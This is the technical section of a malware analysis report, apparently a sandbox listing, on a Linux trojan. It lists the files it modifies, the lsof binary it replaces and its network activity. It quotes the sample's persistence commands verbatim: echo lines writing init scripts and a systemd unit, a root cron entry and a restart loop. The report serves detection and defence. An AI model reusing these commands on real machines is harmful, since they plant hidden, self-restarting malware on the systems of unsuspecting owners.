Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/profile.d/bash_config.sh
- /etc/rc.local
- /etc/init.d/linux_kill
- /etc/profile.d/linux.sh
- /etc/profile.d/bash_config
- /etc/crontab
- /etc/init.d/acpid
- /etc/init.d/bootlogs
- /etc/init.d/bootmisc.sh
- /etc/init.d/checkfs.sh
- /etc/init.d/checkroot.sh
- /etc/init.d/console-setup
- /etc/init.d/cron
- /etc/init.d/dbus
- /etc/init.d/exim4
- /etc/init.d/halt
- /etc/init.d/hostname.sh
- /etc/init.d/hwclock.sh
- /etc/init.d/kbd
- /etc/init.d/keyboard-setup
- /etc/init.d/killprocs
- /etc/init.d/kmod
- /etc/init.d/motd
- /etc/init.d/mountall.sh
- /etc/init.d/mountdevsubfs.sh
- /etc/init.d/mountkernfs.sh
- /etc/init.d/mountnfs.sh
- /etc/init.d/networking
- /etc/init.d/nfs-common
- /etc/init.d/procps
- /etc/init.d/rc
- /etc/init.d/rc.local
- /etc/init.d/rmnologin
- /etc/init.d/rpcbind
- /etc/init.d/rsyslog
- /etc/init.d/sendsigs
- /etc/init.d/skeleton
- /etc/init.d/ssh
- /etc/init.d/udev
- /etc/init.d/umountfs
- /etc/init.d/umountnfs.sh
- /etc/init.d/urandom
- /etc/init.d/x11-common
- /etc/init.d/.depend.boot
- /etc/init.d/.depend.start
- /etc/init.d/.depend.stop
Creates or modifies the following symlinks:
- /etc/rc0.d/linux_kill
- /etc/rc1.d/linux_kill
- /etc/rc2.d/linux_kill
- /etc/rc3.d/linux_kill
- /etc/rc4.d/linux_kill
- /etc/rc5.d/linux_kill
- /etc/rc6.d/linux_kill
- /etc/rc2.d/S01linux_kill
- /etc/rc3.d/S01linux_kill
- /etc/rc4.d/S01linux_kill
- /etc/rc5.d/S01linux_kill
Malicious functions:
Replaces the following system files:
- /usr/bin/lsof
Manages services:
- update-rc.d linux_kill defaults
- systemctl daemon-reload
- systemctl enable linux.service
Launches processes:
- <SAMPLE_FULL_PATH> &
- /bin/bash -c echo -e \"#!/bin/sh\n BEGIN INIT INFO\n#chkconfig: 2345 10 90\n#description:System.img.config\n# Default-Start: 2 3 4 5\n# Default-Stop: \n END INIT INFO\n/boot/System.img.config &\nexit 0\" > /etc/init.d/linux_kill;chmod +x /etc/init.d/linux_kill
- /bin/bash -c echo -e \"#!/bin/sh\nwhile [ 1 ]; do\nsleep 30\n/etc/id.services.conf &\ndone\n\" > /etc/32679
- /bin/bash -c echo \"#!/bin/sh\" > /etc/profile.d/linux.sh
- /bin/bash -c echo -e \"#!/bin/sh\n/usr/lib/libdlrpcld.so &\" > /.img
- chmod +x /etc/init.d/linux_kill
- /bin/bash -c chmod 0755 /etc/32679
- /bin/bash -c
- chmod 0755 /etc/32679
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc0.d/linux_kill
- /bin/bash -c echo \"* * * * * root /.img \" >> /etc/crontab
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc0.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc0.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc0.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc1.d/linux_kill
- nohup /etc/32679 &
- /bin/bash -c chmod 0755 /.img
- /etc/32679 &
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc1.d/linux_kill
- sleep 30
- chmod 0755 /.img
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc1.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc1.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc2.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc2.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc2.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc2.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc3.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc3.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc3.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc3.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc4.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc4.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc4.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc4.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc5.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc5.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc5.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc5.d/linux_kill
- /bin/bash -c ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc6.d/linux_kill
- ln -s /etc/rc.d/init.d/linux_kill /etc/rc.d/rc6.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rc6.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rc6.d/linux_kill
- /bin/bash -c ln -s /etc/init.d/linux_kill /etc/rcS.d/linux_kill
- ln -s /etc/init.d/linux_kill /etc/rcS.d/linux_kill
- /bin/bash -c update-rc.d linux_kill defaults;chkconfig --add linux_kill
- /sbin/insserv linux_kill
- /bin/bash -c echo -e \"[Unit]\nDescription=\n[Service]\nType=forking\nExecStart=/boot/System.img.config &\nExecReload=/boot/System.img.config &\nExecStop=/boot/System.img.config &\n[Install]\nWantedBy=multi-user.target\" > /etc/systemd/system/linux.service;chmod +x /etc/systemd/system/linux.service;systemctl enable linux.service
- chmod +x /etc/systemd/system/linux.service
- /etc/id.services.conf
Performs operations with the file system:
Modifies file access rights:
- /etc/init.d/linux_kill
- /etc/32679
- /.img
- /etc/systemd/system/linux.service
Creates folders:
- /usr/bin/lib
Creates symlinks:
- /etc/rcS.d/linux_kill
Creates or modifies files:
- /tmp/.img
- /usr/bin/find
- /etc/32679
- /.img
- /lib/system-monitor
- /usr/sbin/ifconfig.conf
- /usr/bin/lsof
- /etc/id.services.conf
- /usr/lib/libdlrpcld.so
- /boot/System.img.config
- /etc/systemd/system/linux.service
Network activity:
Establishes connection:
- 8.#.8.8:53
- 0.0.0.0:45566
DNS ASK:
- 1.####ionday.xyz
Other:
Collects RAM information
